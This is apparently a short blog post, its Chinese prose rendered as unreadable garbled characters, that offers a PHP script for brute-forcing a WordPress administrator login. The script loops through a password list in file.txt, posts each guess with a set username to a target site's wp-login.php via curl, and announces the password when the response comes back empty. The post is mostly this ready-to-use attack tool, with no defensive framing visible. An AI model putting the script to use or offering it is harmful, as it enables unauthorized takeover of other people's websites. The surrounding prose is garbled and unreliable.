wordpress̨ƽ

wordpressŴҶϤ֪Ϊʲôwordpress汾Ժ̨ƽһֱעдphpűܡ

ΪҪõcurlԼphp֧curlغ php.iniҵ extension = php_curl.dll ǰעȡwebͿˡ

ЧʲǺܸߣ˿ԶӸĽðɣЩʱܾҪЩСű͸Чʡ

£

<?php

//ܼ򵥵һ±ΪphpǰҳĿ¼·һfile.txtΪֵ
//from: www.mm9.com.cn by:char

$listname = file('./file.txt');
foreach($listname as $pwd){

$post_data =
array(
'log=char', //˴дҪƽû
'pwd='.$pwd,
);

$post_data = implode('&',$post_data);

$url='http://www.XXX.com/wp-login.php'; //˴дwordpressĺ̨¼ַ

$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
ob_start();
curl_exec($ch);
$result = ob_get_contents() ;
ob_end_clean();
ob_flush();
set_time_limit(0);

if ($result == NULL)
{
echo "Congratulationthe password is:<font color=red>".$pwd."</font>";
break;
}

}
?>
